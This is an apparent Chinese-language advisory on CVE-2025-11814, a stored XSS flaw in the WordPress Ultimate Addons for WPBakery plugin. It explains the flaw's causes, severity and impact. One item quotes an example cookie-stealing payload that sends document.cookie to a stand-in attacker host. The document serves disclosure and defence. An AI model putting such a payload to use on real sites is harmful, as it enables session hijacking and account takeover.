CVE-2025-11814CVE-2025-11814是存在于WordPress的Ultimate Addons for WPBakery插件中的一个存储型跨站脚本(Stored XSS)漏洞。该插件是一款广泛使用的WPBakery Page Builder扩展工具,允许用户为WordPress网站添加更多页面构建元素和功能。该漏洞影响该插件所有低于3.21.1的版本,由于插件在处理用户输入时缺乏充分的输入清理(input sanitization)和输出转义(output escaping)机制,导致恶意攻击者可以将任意Web脚本注入到网页中。
该漏洞由WordPress安全公司Wordfence的安全研究团队发现并报告。CVSS 3.1评分为6.4分,属于中危级别。尽管该漏洞的认证要求为低权限(PR:L),但根据漏洞描述,未认证的攻击者(unauthenticated attackers)也可以利用此漏洞发起攻击,这大大增加了漏洞的危害程度和被利用的可能性。
存储型XSS漏洞的危害在于,一旦恶意脚本被存储到服务器端,每当有合法用户访问被注入的页面时,恶意脚本就会自动执行。攻击者可以利用此漏洞窃取用户的会话cookie、进行钓鱼攻击、劫持用户账户、传播恶意软件,甚至在管理员访问被注入页面时获取管理员权限,从而完全控制受影响的WordPress网站。
该漏洞的根本原因在于Ultimate Addons for WPBakery插件在处理用户提交的数据时,未能实施充分的输入验证和输出编码机制。具体而言:
1. **输入清理缺失**:插件在接受用户输入(如表单字段、自定义HTML内容、短代码参数等)时,未对特殊字符(如<、>、"、'等)进行适当的过滤或转义处理,导致恶意HTML标签和JavaScript代码可以直接存储到数据库中。
2. **输出转义缺失**:当插件从数据库中读取存储的数据并将其渲染到前端页面时,未对内容进行HTML实体编码或JavaScript转义,使得浏览器将存储的恶意脚本作为可执行代码解析和执行。
3. **利用方式**:未认证的攻击者可以通过插件提供的公开输入接口(如前端表单、评论字段或公开的参数)提交包含恶意JavaScript代码的payload。由于缺乏认证保护(PR:L与实际未认证访问存在差异),攻击者无需拥有有效账户即可实施攻击。
4. **攻击载荷**:典型的攻击载荷包括窃取cookie的脚本(如document.location='http://attacker.com/steal?c='+document.cookie)、键盘记录器、伪造的登录表单或重定向脚本等。
5. **影响范围**:由于是存储型XSS,所有访问受影响页面的用户都会受到影响,包括网站管理员。一旦管理员访问被注入的页面,攻击者可以获取管理员权限,进而完全控制WordPress网站。